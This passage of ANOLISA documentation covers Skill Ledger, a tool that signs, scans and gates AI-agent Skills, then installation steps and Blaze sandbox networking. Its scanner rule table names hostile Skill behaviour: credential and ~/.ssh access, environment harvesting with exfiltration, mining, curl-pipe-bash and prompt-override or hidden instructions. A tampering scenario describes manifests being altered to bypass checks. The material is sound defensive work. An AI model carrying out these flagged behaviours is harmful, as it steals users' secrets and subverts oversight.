verdict | | `warn` ⚠️ | Manifest authenticity valid, but the last scan has low-risk findings | | `deny` 🚨 | Manifest authenticity valid, but the last scan has high-risk findings | | `tampered` 🔴 | Ledger metadata failed schema, hash, signature, signed-identity, or latest/version-artifact consistency validation, including a missing `latest.json` while version artifacts remain, a missing signature, or signed latest replay | Skill Ledger authenticates an existing manifest and binds `latest.json` to the newest verified version artifact before comparing its file hashes with the live Skill. A missing `latest.json` is `none` only when no version JSON or snapshot artifact remains; otherwise the incomplete ledger is `tampered`. A missing or invalid signature, or replay of an older signed latest pointer, is also `tampered`, even when the live files have changed; only a verified current manifest can produce `drifted`. ### 3. Quick Scan + Signed Certification For a machine-readable, read-only assessment before certification, run: ```bash agent-sec-cli skill-ledger analyze /path/to/your-skill --format json ``` `analyze` runs both `code-scanner` and `static-scanner` against the current directory. It does not create keys, `.skill-meta`, manifests, snapshots, signatures, configuration entries, or security events. It is suitable as an incremental signal for submission services, but does not replace their existing content rules or approval policy. The process contract is: | Exit code | Meaning | |-----------|---------| | `0` | Coverage is complete; inspect `status` for `pass`, `warn`, or `deny` | | `1` | A scanner or file could not be covered; `status=error` and `coverage_complete=false` | | `2` | Invalid input or protocol usage, including a missing `SKILL.md` | Protocol errors include a missing Skill root argument (`skill-root-required`) and unsupported output formats (`unsupported-format`); both return exit code `2` with a JSON error payload. Callers must check the exit code, top-level `status`, and `coverage_complete`. Findings are sorted by `file`, `line`, and `rule`; scanner results are always ordered as `code-scanner`, then `static-scanner`. The bundled JSON Schema is `agent_sec_cli/skill_ledger/analyze.schema.json`. Analysis accepts at most 2,000 regular files, 50 MiB of aggregate file content, and 32 directory levels. Exceeding a limit returns incomplete coverage. Node.js subprocess example: ```javascript import { spawn } from "node:child_process"; const child = spawn( "agent-sec-cli", ["skill-ledger", "analyze", skillDir, "--format", "json"], { stdio: ["ignore", "pipe", "pipe"] }, ); let stdout = ""; child.stdout.setEncoding("utf8"); child.stdout.on("data", (chunk) => { stdout += chunk; }); child.on("close", (code) => { const result = JSON.parse(stdout); if (code !== 0 || result.status === "error" || !result.coverage_complete) { throw new Error("Skill analysis did not complete"); } // Keep existing submission rules; consume result.scanners as extra evidence. }); ``` `analyze` currently ships in the complete `agent-sec-cli` wheel and RPM. A future packaging change may extract the shared scanners into a scanner-only wheel or RPM subpackage; the scanner rules must remain single-source. The default certification path uses the built-in quick scanner and does not depend on an LLM. For a single Skill: ```bash agent-sec-cli skill-ledger scan /path/to/your-skill ``` After scanning, re-check the status: ```bash agent-sec-cli skill-ledger check /path/to/your-skill ``` For a more thorough semantic review, trigger a deep scan through the Agent. The Agent reads the built-in `skill-vetter-protocol.md` scanning protocol and reviews the target Skill file by file across four phases (origin verification → code review → permission boundary assessment → risk grading), writing results to a findings JSON file. Then pass the findings file to `certify` to complete signed certification: ```bash agent-sec-cli skill-ledger certify /path/to/your-skill \ --findings /tmp/skill-vetter-findings-your-skill.json \ --scanner skill-vetter \ --delete-findings ``` `scan` runs the built-in quick scanner and signs the result into the ledger; `certify` only imports external findings. `certify` performs, in order: 1. Authenticates any existing manifest, then verifies file consistency (automatically creates a new version if files changed or the manifest is invalid) 2. Normalizes findings and merges them into the manifest's `scans[]` array 3. Aggregates `scanStatus` (`pass` / `warn` / `deny`) 4. Re-signs and writes `.skill-meta/latest.json` An invalid or unsigned existing manifest is never signed in place and none of its scan results or decisions are inherited. Recovery creates a new version linked only to the newest historical version whose identity, hash, signature, and snapshot all verify. If no such parent exists, the new signed version starts a new chain segment with both previous-version fields set to `null`. Example output: ```json { "versionId": "v000002", "scanStatus": "pass", "newVersion": true, "skillName": "your-skill" } ``` ### 4. View Overall Security Posture ```bash # Overall skill-ledger system status (keys, config, health of all Skills) agent-sec-cli skill-ledger status # Include per-Skill detailed status agent-sec-cli skill-ledger status --verbose ``` `status` outputs JSON with three sections: | Section | Description | |---------|-------------| | `keys` | Signing key state (initialized, fingerprint, encrypted, number of archived keys) | | `config` | Configuration summary (default directories, managedSkillDirs pattern count, registered scanners) | | `skills` | Aggregate health (discovered Skill count, per-status counts, overall health label) | `health` label meanings: `healthy` (no critical/attention statuses and not all none; may mix pass/none), `unscanned` (all none), `attention` (drifted/warn present), `critical` (deny/tampered/error present), `empty` (no registered Skills). With `--verbose`, an additional `results` array contains detailed check results for each Skill. ### 5. Audit the Full Version Chain Deep-verify all historical versions — schema, hash, signature, signed identity, and explicit parent links. A parent link must point to an earlier authenticated version and carry its exact signature; a signed version with both previous-version fields set to `null` is a valid chain-segment root. Invalid historical versions still make the overall audit fail. ```bash agent-sec-cli skill-ledger audit /path/to/your-skill # Also verify snapshot file hashes agent-sec-cli skill-ledger audit /path/to/your-skill --verify-snapshots ``` ### 6. Agent-Driven Scanning (Recommended) The most natural way to use Skill Ledger is through natural-language requests to an AI Agent. A default "scan" performs the quick scan; the `skill-vetter` deep scan runs only when the user explicitly requests it, or confirms continuation after a quick scan: | Request | Effect | |---------|--------| | "Scan /path/to/skill" | Quick-scan certification for the specified Skill | | "Scan all skills" | Batch quick scan of all Skills configured in `config.json` | | "Deep scan /path/to/skill" | File-by-file deep review per the `skill-vetter` protocol, then certification | | "Check skill status" | Output the status triage table only, without scanning | Skill workflow: - **Phase 1** (environment preparation and status view): validates CLI and keys, resolves target Skills, outputs a triage table - **Phase 2** (quick-scan certification): invokes the built-in `code-scanner` and `static-scanner`, then signs into the manifest - **Phase 3** (optional deep scan): `skill-vetter` four-phase review — origin verification → code review → permission boundary assessment → risk grading — then writes to the version chain via `certify --findings` --- ## Part 2: Protecting Skills via SkillFS Activation, User Decisions, and Host Hook Policies ### Architecture Overview Skill Ledger is recommended in combination with SkillFS: SkillFS captures Skill changes and notifies the Skill Ledger daemon to scan and refresh `.skill-meta/activation.json`/xattr. Host hooks/capabilities can still be mounted by default with `policy = "ask"`; the user is prompted when the unified exposure summary carries a `message`, and stays silent when there is no `message` or the user has already made a decision. ``` ┌──────────────────────────────────────────────────┐ │ Agent runtime │ │ │ │ ┌──────────────┐ ┌──────────────────────┐ │ │ │ SkillFS │ │ skill-ledger │ │ │ │ change │ │ SKILL.md │ │ │ │ capture │ │ (on-demand deep │ │ │ │ │ │ │ scan) │ │ │ │ ▼ │ └──────────┬───────────┘ │ │ │ daemon notify │ │ │ │ │ │ │ │ │ │ │ ▼ │ │ │ │ │ activation │ │ │ │ │ refresh │ │ │ │ └──────┤────────┘ │ │ │ ▼ ▼ │ │ ┌──────────────────────────────────────────┐ │ │ │ agent-sec-cli skill-ledger │ │ │ │ show / export / decide / scan / certify │ │ │ └──────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ .skill-meta/latest.json │ │ .skill-meta/activation.json + xattr │ └───────────────────────────────────────────────────┘ ``` - **Recommended path — SkillFS + daemon activation**: SkillFS discovers Skill file changes; the daemon refreshes the executable activation target based on the latest signed manifest, user decisions, and the activation policy. The Agent runtime reads activation metadata instead of relying on host hook pre-checks by default. - **Compatibility path — host hook/capability policy**: OpenClaw, Hermes, copilot-shell, and Qwen Code call `agent-sec-cli skill-ledger show` before a Skill loads; Codex and Qoder CLI run a read-only `agent-sec-cli skill-ledger check` at their respective local Skill trigger boundaries. The default is `ask`; `observe` / `warn` / `block` can be configured explicitly, and legacy `debug` remains an alias for `observe`. - **Agent-driven scanning**: `scan` runs the built-in quick scan and signs the result; the `skill-ledger` Skill drives the full four-phase security review when the user requests a deep scan, importing results via `certify --findings`. **Triggered on demand**, initiated by user request. ### Recommended Path: SkillFS + Daemon Activation **How it works:** With SkillFS enabled, the runtime entry point of Skill Ledger is handled by the daemon: 1. SkillFS captures Skill directory creation, updates, deletion, or content changes. 2. SkillFS notifies the Skill Ledger daemon's `skill_ledger.skillfs_notify_change` interface. 3. The daemon refreshes `.skill-meta/activation.json` based on the signed manifest, current file state, user decisions, and the activation policy, and writes xattr on a best-effort basis. 4. If the current version cannot be activated directly, the activation metadata points to the previous trusted `pass` / `warn` snapshot; if no trusted fallback exists, it points to a safe pending-review stub; `target: null` is written only for user `block` decisions or fail-safe scenarios. **Version requirement: SkillFS must be 0.4.0 or newer.** Since 0.4.0, the `skill_ledger.skillfs_notify_change` call in step 2 uses **notify v2**, whose business payload carries exactly four fields: `canonicalSkillDir`, `skillId`, `eventKind`, and `paths`. This is a **breaking upgrade with no fallback path** — the daemon rejects any request whose `schemaVersion` is not `2`, and SkillFS performs no version negotiation. The two components must therefore be upgraded together: - SkillFS older than 0.4.0 sends notify v1 only, which the current daemon rejects request by request; - a failed notify delivery is only a warning on the SkillFS side and never stops the FUSE service. A version mismatch therefore fails **silently**: newly installed Skills stay hidden and neither side reports an obvious error. When diagnosing, first confirm that `skillfs --version` is 0.4.0 or newer. **Two sockets, opposite directions.** Most joint-deployment wiring mistakes come from conflating them: | Socket | Listener | Default path | Purpose | |---|---|---|---| | daemon socket | agent-sec-core daemon | `$XDG_RUNTIME_DIR/agent-sec-core/daemon.sock` (override with `AGENT_SEC_DAEMON_SOCKET`) | SkillFS points `--notify-socket` here to send change notifications | | control socket | SkillFS | `/run/user//skillfs/control.sock` | The daemon queries `skill.resolveLiveSource` back through it and writes activation metadata | Do **not** customize the control socket path. The Ledger resolver client only probes the default path above; no configuration key makes it follow a path given to `--control-socket`, and changing it makes Ledger silently fall back to host mode. SkillFS and the daemon must also run under the same effective UID. Under the Hermes layout the activation flow carries nested identities (`category/skill`) rather than flat skill names, and `skillId` keeps both components. For the full protocol definition, canonical path semantics, and deployment boundaries, see [Skill Ledger's SkillFS integration design](../../../../../src/agent-sec-core/docs/design/SKILL_LEDGER_SKILLFS_INTEGRATION_zh.md) (Chinese only) and the [SkillFS user guide](../../runtime/skillfs.md). ### Unified Host Hook Controls Host adapters use `SKILL_LEDGER_HOOK_ENABLED` as the kill switch and `SKILL_LEDGER_MODE` as the behavior selector. The switch defaults to `true`; the policy defaults to `ask` and accepts `observe`, `warn`, `ask`, or `block`. `observe` runs the check and audit path without a user-visible message. Legacy `debug` maps to `observe`, while legacy `deny` maps to `block`. An environment policy overrides Hermes or OpenClaw capability configuration. The host Agent reads these variables when it loads the plugin. Restart the Agent process that hosts the hook after changing them; the hook and agent-sec-core are not separate policy services. When a hook cannot request approval, `ask` falls back to `warn`. When a hook cannot enforce a block at its current boundary, `block` also falls back to `warn` and must not claim enforcement. Set `SKILL_LEDGER_HOOK_ENABLED=false` to skip input processing, key initialization, and CLI calls. ### Compatibility Path: Hook / Capability Policy When the Agent loads a Skill, the OpenClaw, Hermes, copilot-shell, and Qwen Code hooks resolve the Skill directory, run `agent-sec-cli skill-ledger show `, and let the unified `policy` control the host-specific behavior. These hooks consume only the `message` in the summary: | Policy | Behavior | |--------|----------| | `observe` | `message != null` only writes audit/debug diagnostics and passes. | | `warn` | `message == null` passes silently; `message != null` shows a warning and passes. | | `ask` | Default. `message == null` passes silently; `message != null` requests user confirmation or uses the host approval UI. | | `block` | `message != null` blocks directly, using the message as the reason or alert text. | The trigger rules for `message` are decided uniformly by Skill Ledger: no prompt when the user already has an `allow` / `always_allow` / `rollback` / `block` decision; no prompt when latest is `pass` or `warn` and directly exposable; a prompt when there is no user decision and latest is `deny` / `none` / `drifted` / `tampered`, explaining whether the current active version is a fallback or a safe pending-review stub. `latestStatus=unmanaged` means the daemon cannot manage this root and cannot write `.skill-meta` or record user decisions, so it is returned as diagnostics only with `message=null`, and every hook policy including `block` passes silently. Codex and Qoder CLI are low-level integrity gates that run `skill-ledger check ` after canonical-path and root-boundary validation. Codex resolves `$skill-name` references at `UserPromptSubmit`; because that boundary cannot request approval, `ask` falls back to `warn`. Qoder CLI registers a dedicated `PreToolUse` hook for the `Skill` tool, builds user → project directory tables from the absolute `cwd` in the event, and parses the `SKILL.md` frontmatter `name` (falling back to the directory name when frontmatter is absent). When Qoder frontmatter exists but `name` is missing, ambiguous, or uses a YAML scalar the hook cannot safely parse, the call is not downgraded to a non-local Skill — it is handled per the current policy. `pass` passes silently; `none` / `drifted` / `warn` / `deny` / `tampered` and `error` are audited silently, warned and passed, sent for confirmation where supported, or blocked per the `observe` / `warn` / `ask` / `block` policy. Qoder CLI unavailability, execution failure, timeout, or unparseable output is also handled by this four-level policy rather than a fixed fail-open; legacy `debug` is only an alias for `observe`. All six adapters enable Skill Ledger by default with policy `ask`; copilot-shell, Codex, Qoder CLI, and Qwen Code register their corresponding hook boundaries in their default manifests. OpenClaw and Hermes can also take capability configuration, while `SKILL_LEDGER_MODE` remains the deployment-level override. Apart from the explicitly documented Qoder CLI low-level gate above, the other compatibility hooks remain fail-open when the CLI infrastructure misbehaves, avoiding blocked Skill loads. The copilot-shell hook currently covers three directory classes — project / user / system: `/.copilot-shell/skills/`, `~/.copilot-shell/skills/`, and the RPM and raw-install system roots `/usr/share/anolisa/skills/` and `/usr/local/share/anolisa/skills/`. Skills from custom, extension, remote, or other paths make the hook fail open and skip the skill-ledger check; the OpenClaw plugin extracts the Skill directory from the `SKILL.md` path it reads. For batch certification or post-install certification, complete directory resolution and certification before letting the Agent read uncertified Skill content: avoid proactively reading an uncertified Skill's `SKILL.md` or auxiliary files before batch certification; after a successful install, locate the final local directory, confirm it contains `SKILL.md`, then run quick-scan certification. **Enabling in OpenClaw**: ```json { "capabilities": { "skill-ledger": { "enabled": true, "policy": "ask" } } } ``` **Enabling in Hermes**: ```toml [capabilities.skill-ledger] enabled = true timeout = 5 policy = "ask" enable_block = false ``` **Configuring copilot-shell**: the default Cosh manifest already registers the `skill-ledger` hook. The default policy is `ask`; for observe-only, warning-only, or hard denial, set `SKILL_LEDGER_MODE=observe` / `warn` / `block`. The `debug` value remains an alias for `observe`. This environment variable should be set by a trusted host or deployment environment — not by Skills, project scripts, or untrusted shell startup logic; to prevent policy downgrades via a tampered local shell profile, it should eventually move to a trusted host configuration source. **Configuring Qoder CLI**: after installing `qoder-plugin`, the plugin automatically registers a `PreToolUse` hook with matcher `Skill`. The default policy is `ask`; a trusted launch environment may set `SKILL_LEDGER_MODE=observe` / `warn` / `block` and adjust the CLI timeout via `SKILL_LEDGER_TIMEOUT` (default 5 seconds). The `debug` value remains an alias for `observe`. The hook covers local Skills under `~/.qoder/skills/` and `/.qoder/skills/`, with user-level Skills of the same name taking precedence; only when both directory tables resolve trustworthily with no match is the call treated as a built-in, plugin, or remote Skill — passed and logged at debug. The hook never runs `init` or `scan` automatically. A Skill with neither `latest.json` nor any version JSON/snapshot artifact enters the policy as `none`. A missing `latest.json` while history remains, or an existing latest manifest with a missing or invalid signature, enters as `tampered`. After review, run `agent-sec-cli skill-ledger scan ` explicitly. The global Skill Ledger `activationPolicy` belongs to SkillFS/daemon activation; the hook `policy` here only controls the user-visible behavior and log level of host hooks/capabilities. ### Reviewing and Deciding on Non-Pass Skills When a hook or `show` indicates the current skill needs user review, start with the unified exposure summary: ```bash agent-sec-cli skill-ledger show /path/to/skill ``` Key fields: | Field | Meaning | |-------|---------| | `latestStatus` | Status of the latest skill root or the latest signed version | | `activeVersionId` | Version currently exposed to SkillFS; `null` means no real active version | | `target` | Target SkillFS currently reads; pending state points to `.skill-meta/versions/__pending_decision__.snapshot` | | `userDecision` | Currently matched user decision; `null` means no decision yet | | `message` | Information to surface to the user; hooks stay silent when `null` | To fully review a version that is not exposed, export the latest snapshot, manifest, and findings: ```bash agent-sec-cli skill-ledger export /path/to/skill --version latest --output /tmp/skill-review ``` After review, choose via the unified `decide` command: ```bash # Allow the current specific version; not inherited by future versions agent-sec-cli skill-ledger decide /path/to/skill --action allow --reason "reviewed manually" # Allow current and future versions until the user changes or clears the decision agent-sec-cli skill-ledger decide /path/to/skill --action always_allow --reason "trusted source" # Fully hide the current skill; the block is not inherited by future new versions agent-sec-cli skill-ledger decide /path/to/skill --action block --reason "unsafe behavior" # Roll back to a specific version; without --version, defaults to the current real active version agent-sec-cli skill-ledger decide /path/to/skill --action rollback --version v000001 --reason "use previous trusted version" # Clear the user decision on the latest manifest, restoring global activation behavior agent-sec-cli skill-ledger decide /path/to/skill --clear ``` Note: a hook's `ask` confirmation only lets the current host operation continue — it is not equivalent to a Skill Ledger `allow`. Only `decide` changes the subsequent activation target. ### Agent-Driven Deep Scan #### Configuring Skill Directories (for batch scans) Six built-in directories are included by default: `~/.openclaw/skills/*`, `~/.copilot-shell/skills/*`, `~/.hermes/skills/**`, `~/.qoder/skills/*`, `/usr/share/anolisa/skills/*`, `/usr/local/share/anolisa/skills/*`. Project-level Qoder directories are not relative defaults; after an explicit `scan` or `certify` on a project Skill, its absolute directory is written to `managedSkillDirs` via the auto-memoization mechanism. To add other directories, create or edit `~/.config/agent-sec/skill-ledger/config.json`: ```json { "enableDefaultSkillDirs": true, "managedSkillDirs": [ "/opt/custom-skills/*", "/opt/custom-skills/my-skill" ] } ``` Default directories are enabled by default; `managedSkillDirs` holds directories dynamically managed by skill-ledger or added by the user, appended after the defaults (deduplicated automatically). Set `enableDefaultSkillDirs` to `false` for isolated runs. - `"path/*"` — glob pattern: each subdirectory containing `SKILL.md` counts as one Skill - `"path/to/skill"` — a single Skill directory (must also contain `SKILL.md`) Non-existent directories are silently ignored. Additionally, running `scan` or `certify` on a Skill auto-appends unregistered directories to the config for later `--all` batch operations. `check` is a read-only status query and never writes config. #### Scheduled Default Quick Scans To periodically refresh default quick-scan results, put `scan --all` into cron. `scan --all` automatically skips Skills whose files are unchanged and already have complete scan results, re-scanning only new, changed, scan-result-missing, or manifest-anomalous Skills. Without a key passphrase: ```bash mkdir -p "$HOME/.local/state/agent-sec" AGENT_SEC_CLI="$(command -v agent-sec-cli)" CRON_LINE="0 3 * * * $AGENT_SEC_CLI skill-ledger scan --all >> $HOME/.local/state/agent-sec/skill-ledger-scan.log 2>&1" (crontab -l 2>/dev/null | grep -Fv "skill-ledger scan --all"; echo "$CRON_LINE") | crontab - ``` With a passphrase-protected private key, the scheduled job needs `SKILL_LEDGER_PASSPHRASE`. The command below writes the passphrase in plaintext to the current user's crontab and the system cron spool — use it only in trusted single-user environments; safer alternatives are the default passphrase-less key, or wrapping `scan --all` with a local secret manager / permission-restricted file. ```bash read -rsp "SKILL_LEDGER_PASSPHRASE: " SKILL_LEDGER_PASSPHRASE; echo mkdir -p "$HOME/.local/state/agent-sec" AGENT_SEC_CLI="$(command -v agent-sec-cli)" CRON_LINE="0 3 * * * SKILL_LEDGER_PASSPHRASE='$SKILL_LEDGER_PASSPHRASE' $AGENT_SEC_CLI skill-ledger scan --all >> $HOME/.local/state/agent-sec/skill-ledger-scan.log 2>&1" (crontab -l 2>/dev/null | grep -Fv "skill-ledger scan --all"; echo "$CRON_LINE") | crontab - unset SKILL_LEDGER_PASSPHRASE ``` Inspect installed scheduled jobs: ```bash crontab -l ``` #### Triggering Scans Just instruct the Agent in natural language. The default scan runs Phase 1 → Phase 2; Phase 1 → Phase 3 runs when the user explicitly requests a deep scan. **Deep-scan rule table (skill-vetter):** | Level | Rule ID | Detection Target | |-------|---------|------------------| | deny | `dangerous-exec` | Dangerous process execution (`child_process`, `subprocess`) | | deny | `dynamic-code-eval` | Dynamic code execution (`eval()`, `new Function()`) | | deny | `env-harvesting` | Bulk environment variable harvesting + network exfiltration | | deny | `crypto-mining` | Mining signatures (`stratum`, `xmrig`, etc.) | | deny | `credential-access` | Credential and sensitive file access (`~/.ssh/`, `.env`) | | deny | `system-modification` | System file tampering (`/etc/`, crontab) | | deny | `prompt-override` | Prompt-override instructions | | deny | `hidden-instruction` | Hidden instructions (zero-width characters, HTML comments) | | warn | `obfuscated-code` | Code obfuscation (very long lines, base64 + decode) | | warn | `suspicious-network` | Suspicious network connections (direct IPs, non-standard ports) | | warn | `exfiltration-pattern` | Data exfiltration patterns (file read + network send combos) | | warn | `agent-data-access` | Agent identity data access (`MEMORY.md`, etc.) | | warn | `unauthorized-install` | Undeclared package installation | | warn | `unrestricted-tool-use` | Unconstrained tool-use instructions | | warn | `external-fetch-exec` | External fetch-and-execute (`curl | bash`) | | warn | `privilege-escalation` | Privilege escalation (`sudo`, `chmod 777`) | ### Real-World Scenarios #### Scenario A: Detecting tampering when loading a third-party Skill ``` # SkillFS/daemon or host hook detects an anomalous status [skill-ledger] 🚨 Skill 'third-party-tool' metadata signature verification failed ``` The alert indicates someone may have modified the manifest, flipping `scanStatus` from `deny` to `pass` to bypass security checks. #### Scenario B: Detecting drift after a Skill update ```bash agent-sec-cli skill-ledger check /path/to/my-skill # → {"status": "drifted", "added": [...], "modified": [...]} ``` The status becomes `drifted` after updating the Skill. This only reports that the live root differs from the signed version; it is not a scanner-confirmed risk result. Trigger a re-scan to certify the new content and obtain its current scan status: ``` Scan /path/to/my-skill ``` #### Scenario C: Auditing historical integrity ```bash agent-sec-cli skill-ledger audit /path/to/my-skill --verify-snapshots ``` Per-version verification: schema → hash integrity → signature validity → signed identity → explicit parent links → snapshot consistency. --- ## Command Cheat Sheet | Command | Purpose | |---------|---------| | `agent-sec-cli skill-ledger init` | Initialize keys and build a quick-scan baseline for covered Skills | | `agent-sec-cli skill-ledger init --no-baseline` | Initialize keys only, without scanning Skills | | `agent-sec-cli skill-ledger check ` | Check integrity status (JSON output) | | `agent-sec-cli skill-ledger show ` | Show latest, active, user decision, activation target, findings, and alerts | | `agent-sec-cli skill-ledger export --version latest --output ` | Export a snapshot, manifest, and findings for full review | | `agent-sec-cli skill-ledger decide --action allow|always_allow|block|rollback` | Record a user decision and refresh activation | | `agent-sec-cli skill-ledger decide --clear` | Clear the user decision on the latest manifest | | `agent-sec-cli skill-ledger scan ` | Run a quick scan and sign it into the manifest | | `agent-sec-cli skill-ledger scan --all` | Gap-filling quick scan across all discovered Skills | | `agent-sec-cli skill-ledger certify --findings ` | Sign deep-scan findings into the manifest | | `agent-sec-cli skill-ledger status` | Overall security posture (keys, config, Skill health) | | `agent-sec-cli skill-ledger status --verbose` | Overall posture including per-Skill detailed results | | `agent-sec-cli skill-ledger audit ` | Deep-verify the version chain | | `agent-sec-cli skill-ledger list-scanners` | List registered scanners | ## Key Paths | Path | Purpose | |------|---------| | `~/.local/share/agent-sec/skill-ledger/key.enc` | Private key file (unencrypted by default, encrypted with `--passphrase`) | | `~/.local/share/agent-sec/skill-ledger/key.pub` | Public key | | `~/.local/share/agent-sec/skill-ledger/keyring/` | Archived historical public keys (after key rotation) | | `~/.config/agent-sec/skill-ledger/config.json` | Configuration file (managedSkillDirs, scanners) | | `/.skill-meta/latest.json` | Current manifest (written by `scan`, `certify`, or the `init` baseline) | | `/.skill-meta/versions/` | Version chain history | ===== docs/user-guide/en/installation.md ===== # Installation Guide [中文版](../zh/installation.md) This guide covers the progressive installation of ANOLISA — from the CLI tool to individual components and adapter setup. --- ## Step 1: Install the ANOLISA CLI The `anolisa` CLI is the unified entry point for managing all ANOLISA components. ### Option A: Install script (recommended) ```bash curl -fsSL https://get.agentic-os.sh | bash ``` ### Option B: YUM (Alinux) ```bash sudo yum install anolisa ``` After installation, verify: ```bash anolisa --version ``` --- ## Step 2: Environment Detection Run the environment check to identify your system capabilities: ```bash anolisa env ``` This displays: - OS and architecture - Available filesystems (btrfs for ws-ckpt) - FUSE availability (for skillfs) - Installed Agent runtimes (cosh, OpenClaw, Hermes) - Kernel features (eBPF for agentsight) --- ## Step 3: Install Components Install components individually based on your needs: ```bash anolisa install ``` ### Available Components | Component | Description | Supported modes | |-----------|-------------|-----------------| | `cosh` | Copilot Shell — AI terminal assistant | user, system | | `cosh-ng` | AI-native Linux terminal and deterministic Agent runtime (experimental) | **system** | | `os-skills` | System management and DevOps skills | user, system | | `tokenless` | Token optimization (compression) | user, system | | `ws-ckpt` | Workspace checkpoint/rollback | **system** | | `skillfs` | FUSE virtual skill filesystem | **system** | | `agent-memory` | MCP-based persistent memory | user, system | | `agentsight` | eBPF tracing and dashboard | **system** | | `agent-sec-core` | Security hardening | **system** | > **Note**: System-only components require `sudo` and an explicit system scope: > ```bash > sudo anolisa --install-mode system install agentsight > ``` Install cosh-ng in system mode, then start the terminal with `cosh`: ```bash sudo anolisa --install-mode system install cosh-ng cosh ``` ### Install All Components ```bash anolisa install --all ``` ### YUM Alternative (Alinux) For each component, you can also use YUM: ```bash sudo yum install ``` --- ## Step 4: Adapter Setup Adapters bridge components to specific Agent frameworks. Enable an adapter after installing the component: ```bash anolisa adapter scan anolisa adapter enable [framework] ``` ### Examples ```bash # Tokenless hook for cosh /usr/share/tokenless/scripts/install.sh --cosh # Tokenless plugin for OpenClaw /usr/share/tokenless/scripts/install.sh --openclaw # ws-ckpt plugin for OpenClaw ws-ckpt plugin install --runtime openclaw # ws-ckpt plugin for Hermes ws-ckpt plugin install --runtime hermes ``` --- ## Step 5: Verify Installation Check the status of all installed components: ```bash anolisa status ``` Run the built-in diagnostic: ```bash anolisa doctor ``` --- ## Uninstallation Remove a specific component: ```bash anolisa uninstall ``` There is no batch uninstall command. List the installed records, then remove each intended component explicitly so its authority and package-removal policy are reviewed independently: ```bash anolisa list --installed anolisa uninstall ``` --- ## Upgrade Update a specific component: ```bash anolisa update ``` Update all installed components: ```bash anolisa update all ``` `update all` updates recorded components but not the CLI binary. Use `anolisa update self` for the CLI. --- ## Next Steps - [anolisa CLI Reference](user-entrypoint/anolisa-cli.md) - [cosh-ng Quick Start](user-entrypoint/cosh-ng/QUICKSTART.md) - [Copilot Shell](user-entrypoint/copilot-shell/QUICKSTART.md) - [Troubleshooting](troubleshooting.md) ===== docs/user-guide/en/runtime/blaze.md ===== # Blaze Firecracker Networking [中文版](../../zh/runtime/blaze.md) Blaze can give each Firecracker sandbox a dedicated network namespace, tap device, veth pair, and address slot. This capability is opt-in and is disabled by default. ## Prerequisites The Blaze daemon must run on Linux with permission to manage host networking. The `ip`, `sysctl`, and `iptables` commands must be installed and executable. Firecracker and its kernel and root filesystem images must also be available. Blaze checks these prerequisites when a loaded policy both enables networking and selects Firecracker as an eligible backend. Policies that leave networking disabled do not require these host capabilities. ## Configuration Set `enable_network` in the Firecracker section of a workload policy: ```toml [select] backend_priority = ["firecracker"] [backend.firecracker] enable_network = true ``` The option applies only to Firecracker. Its default is `false`, so existing policies retain their previous behavior until they opt in. ## Runtime Behavior When a request selects a network-enabled Firecracker policy, sandbox creation: 1. allocates a host-wide network slot; 2. creates an owner-qualified network namespace; 3. creates the tap and veth devices and configures addresses, forwarding, and namespace-local NAT; and 4. starts Firecracker with the tap device attached. Allocation and deletion use `/run/lock/blaze-network.lock`, which prevents two Blaze daemon processes on the same host from choosing the same slot at the same time. Blaze records the namespace owner before creating dependent devices so a partially completed setup remains attributable to the sandbox. Explicit sandbox destruction removes the owned namespace and devices after the backend process has stopped. A compensated startup failure performs the same cleanup. If cleanup cannot be confirmed, Blaze retains ownership and does not return the slot to the allocator, allowing a later destroy attempt to retry the operation. After a daemon restart, a later destroy request can reconstruct a recorded network slot. Blaze does not run a background scan or retry controller for orphaned network resources. ## Host Integration Boundary Blaze configures the sandbox-local network path. Routing beyond the host and DNS configuration remain the host operator's responsibility. Before enabling the option in production, configure the required upstream routing or translation and verify guest connectivity for the host environment. To disable the capability, set `enable_network = false` or remove the key, then destroy existing network-enabled sandboxes through the normal instance API. ## Guest Operations Guest operations are available only while a sandbox is `Running` and its backend reports a compatible guest endpoint. A cold create that reports such an endpoint waits for the guest agent before publishing `Running`. Backends without an endpoint, including production mock fallback, skip that wait and return HTTP 409 for guest operations. Warm-pool activation validates the retained backend owner and storage before publishing `Running`, but it does not repeat the guest readiness probe. `Running` on this path therefore does not guarantee that the guest endpoint is still responsive: the first guest request performs the normal bounded connection and can return a guest error. Callers should apply the retry and outcome rules below to that first request. Guest operations and lifecycle changes use the same per-sandbox operation lock. After obtaining the lock, the manager checks `Running` again so a request does not contact an old runtime after a concurrent lifecycle change. The sandbox routes are: - `POST /v1/sandboxes/{id}/exec` — execute one command; - `POST /v1/sandboxes/{id}/read` — read one file; and - `POST /v1/sandboxes/{id}/write` — replace one file. The corresponding `/v1/instances/{id}/...` routes provide the same behavior. Exec requests use the following shape: ```json {"cmd":"uname -a","cwd":"/","env":{"LANG":"C"},"timeout":10} ``` Write requests provide a path and standard-base64 data: ```json {"path":"/tmp/input","data_b64":"aGVsbG8="} ``` Read requests provide only `path`. Successful file reads and command output use standard base64. Exec timeouts range from 1 through 20 seconds. Guest routes reject an HTTP envelope larger than 22 MiB while reading it, and file data is limited to 16 MiB after decoding. A failure before exec or write delivery is safe for caller-directed retry. A pre-delivery timeout uses `"code": "guest_timeout"`. If delivery began but the daemon cannot determine the result, it returns HTTP 504 with `"code": "guest_outcome_unknown"`; reconcile guest state instead of automatically replaying the operation. Reads do not change guest state. Oversized input returns HTTP 413. An oversized read response returns HTTP 502 with `"code": "guest_response_too_large"`. Each request is fully buffered within its per-request limit. The limit does not bound aggregate concurrency, so clients should also cap concurrent guest operations. Streaming files, interactive terminals, and session reuse are not supported. The optional TCP listener does not yet enforce a daemon-wide access boundary. Leave `listen.http_addr` disabled in production until [issue #2223](https://github.com/alibaba/anolisa/issues/2223) is resolved. Daemon shutdown also does not yet wait for every active HTTP handler or release all runtime owners, so an in-flight request may observe a closed connection. ## Storage Artifact Synchronization Blaze can periodically persist the already-written host artifacts and directory metadata owned by running sandboxes. The worker is disabled by default, so existing deployments retain their previous behavior until an interval is configured. ### Configuration Set the interval and per-sandbox deadline in the daemon configuration: ```toml [storage] sync_interval = "30s" sync_timeout = "10s" ``` `sync_interval = "disabled"` stops the periodic worker. `sync_timeout` bounds how long the scheduler waits for one complete provider attempt: reconstructing its storage slot and synchronizing that slot. Each storage-provider synchronization call persists the already-written bytes and directory metadata visible to that call. Concurrent artifact updates may become visible in the current attempt or a later one. ### Runtime behavior Each sweep selects sandboxes that are running and still own a complete storage slot. A sandbox whose operation lock is already held is deferred without waiting, allowing the sweep to continue to later sandboxes. Lifecycle changes, guest 